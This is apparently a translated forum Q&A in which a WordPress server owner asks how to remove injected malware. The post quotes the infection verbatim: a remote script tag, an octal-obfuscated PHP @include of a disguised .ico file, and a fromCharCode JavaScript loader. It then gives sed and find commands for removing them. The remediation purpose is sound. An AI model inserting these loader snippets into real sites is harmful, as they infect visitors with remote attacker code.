Jadi seluruh server saya diretas atau ada masalah malware. situs saya didasarkan pada WordPress dan sebagian besar situs yang dihosting di server saya berbasis WordPress. Peretas menambahkan baris kode ini ke setiap file dan dalam basis data
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
Saya memang mencarinya via grep menggunakan
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
Saya mencoba untuk menggantinya di seluruh struktur file dengan sed
dan saya telah menulis perintah berikut.
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
Saya mencoba mengganti string pada satu file index.php
terlebih dahulu, jadi saya tahu itu berfungsi.
dan saya tahu kode saya salah. Tolong bantu saya dengan ini.
Saya mencoba dengan kode @ Eran dan menghapus seluruh baris, yang bagus dan seperti yang diharapkan. Namun, jargon totalnya adalah ini
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
Dan sementara saya ingin menghapus semua konten, saya ingin menyimpan tag pembuka php <?php
.
Meskipun solusi @ slybloty mudah dan berhasil.
jadi untuk menghapus kode sepenuhnya dari semua file yang terpengaruh. Saya menjalankan 3 perintah berikut, Terima kasih kepada Anda semua untuk ini.
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"
- Untuk menghapus baris skripfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'
- Untuk menghapus@include
garisfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'
- Untuk menghapus baris komentar
Juga, saya menjalankan semua 3 perintah lagi '*.html'
, karena skrip peretas membuat index.html yang tidak diinginkan di semua direktori. Saya tidak yakin apakah menghapus index.html ini secara massal adalah pendekatan yang tepat.
sekarang, saya masih perlu mencari tahu file sampah dan jejaknya.
Skrip hacker menambahkan kode JS juga.
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
Mencoba melihat apakah saya bisa sed
melakukannya juga.
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"
The -l
option hanya menyediakan nama file dan tidak pencocokan teks.
sed -i
. Misalnya, sed -i.bak
akan membuat *.bak
file untuk semua file yang diedit. Saat digunakan dengan while...grep
loop, Anda hanya akan membuat cadangan file yang berisi string itu. Maaf untuk semua komentar tambahan, tetapi menurut pendapat saya, malware adalah skenario "semua di dek".